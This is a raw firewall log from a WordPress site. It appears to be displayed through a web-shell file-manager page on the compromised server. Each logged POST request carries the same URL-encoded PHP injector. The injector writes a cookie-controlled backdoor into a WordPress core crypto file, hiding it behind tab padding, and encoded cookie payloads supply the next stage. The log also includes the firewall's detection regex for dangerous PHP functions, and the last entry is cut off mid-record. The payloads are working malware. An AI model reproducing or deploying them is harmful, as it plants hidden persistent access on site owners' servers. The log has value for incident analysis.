HEX
Server: nginx/1.26.1
System: Linux iZrj9cbdvwu1cot8sjlyzlZ 5.10.134-15.al8.x86_64 #1 SMP Thu Jul 20 00:44:04 CST 2023 x86_64
User: www (1000)
PHP: 7.4.33
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
$ pwd: /www/wwwlogs/free_waf_log/
Upload Files
File: //www/wwwlogs/free_waf_log/dewenlabels.com_2026-05-12.log
["2026-05-12 09:36:08","103.143.207.18","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> tk:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Crypto32.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B14%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D5%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B14%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B14%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B14%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B5%252B1%253B%257D%2524k%253D%2524p%255B7%255D%2528%2529.%2524p%255B12%255D%253Bif%2528%2521%2524p%255B18%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B26%255D%2528%2524k%252C%2524p%255B0%255D%2529%253B%2524p%255B23%255D%2528%2524n%252C%2524p%255B24%255D.%2524p%255B15%255D%2528%2524p%255B28%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-length:3256\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\nsec-fetch-mode:navigate\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvqTfvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAuL2uyVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\ntk=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Crypto32.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B14%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D5%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B14%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B14%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B14%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B5%252B1%253B%257D%2524k%253D%2524p%255B7%255D%2528%2529.%2524p%255B12%255D%253Bif%2528%2521%2524p%255B18%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B26%255D%2528%2524k%252C%2524p%255B0%255D%2529%253B%2524p%255B23%255D%2528%2524n%252C%2524p%255B24%255D.%2524p%255B15%255D%2528%2524p%255B28%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:36:12","77.65.47.245","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> gY:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Crypto32.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B14%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D5%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B14%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B14%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B14%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B5%252B1%253B%257D%2524k%253D%2524p%255B7%255D%2528%2529.%2524p%255B12%255D%253Bif%2528%2521%2524p%255B18%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B26%255D%2528%2524k%252C%2524p%255B0%255D%2529%253B%2524p%255B23%255D%2528%2524n%252C%2524p%255B24%255D.%2524p%255B15%255D%2528%2524p%255B28%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-length:3256\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nsec-fetch-mode:navigate\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvM1xvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOip3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\n\ngY=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Crypto32.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B14%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D5%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B14%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B14%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B14%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B5%252B1%253B%257D%2524k%253D%2524p%255B7%255D%2528%2529.%2524p%255B12%255D%253Bif%2528%2521%2524p%255B18%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B26%255D%2528%2524k%252C%2524p%255B0%255D%2529%253B%2524p%255B23%255D%2528%2524n%252C%2524p%255B24%255D.%2524p%255B15%255D%2528%2524p%255B28%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:36:15","192.3.12.164","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Fq:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Crypto32.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B14%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D5%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B14%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B14%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B14%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B5%252B1%253B%257D%2524k%253D%2524p%255B7%255D%2528%2529.%2524p%255B12%255D%253Bif%2528%2521%2524p%255B18%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B26%255D%2528%2524k%252C%2524p%255B0%255D%2529%253B%2524p%255B23%255D%2528%2524n%252C%2524p%255B24%255D.%2524p%255B15%255D%2528%2524p%255B28%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-length:3256\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\nsec-fetch-mode:navigate\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvEaRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWznJ5xVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nFq=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Crypto32.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B14%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D5%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B14%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B14%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B14%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B5%252B1%253B%257D%2524k%253D%2524p%255B7%255D%2528%2529.%2524p%255B12%255D%253Bif%2528%2521%2524p%255B18%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B26%255D%2528%2524k%252C%2524p%255B0%255D%2529%253B%2524p%255B23%255D%2528%2524n%252C%2524p%255B24%255D.%2524p%255B15%255D%2528%2524p%255B28%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:36:17","141.95.124.215","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Ka:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Crypto32.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B14%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D5%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B14%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B14%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B14%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B5%252B1%253B%257D%2524k%253D%2524p%255B7%255D%2528%2529.%2524p%255B12%255D%253Bif%2528%2521%2524p%255B18%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B26%255D%2528%2524k%252C%2524p%255B0%255D%2529%253B%2524p%255B23%255D%2528%2524n%252C%2524p%255B24%255D.%2524p%255B15%255D%2528%2524p%255B28%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\naccept-encoding:gzip,deflate\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvF2RvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvLI9coaAypaEco24vB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:3256\nhost:dewenlabels.com\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 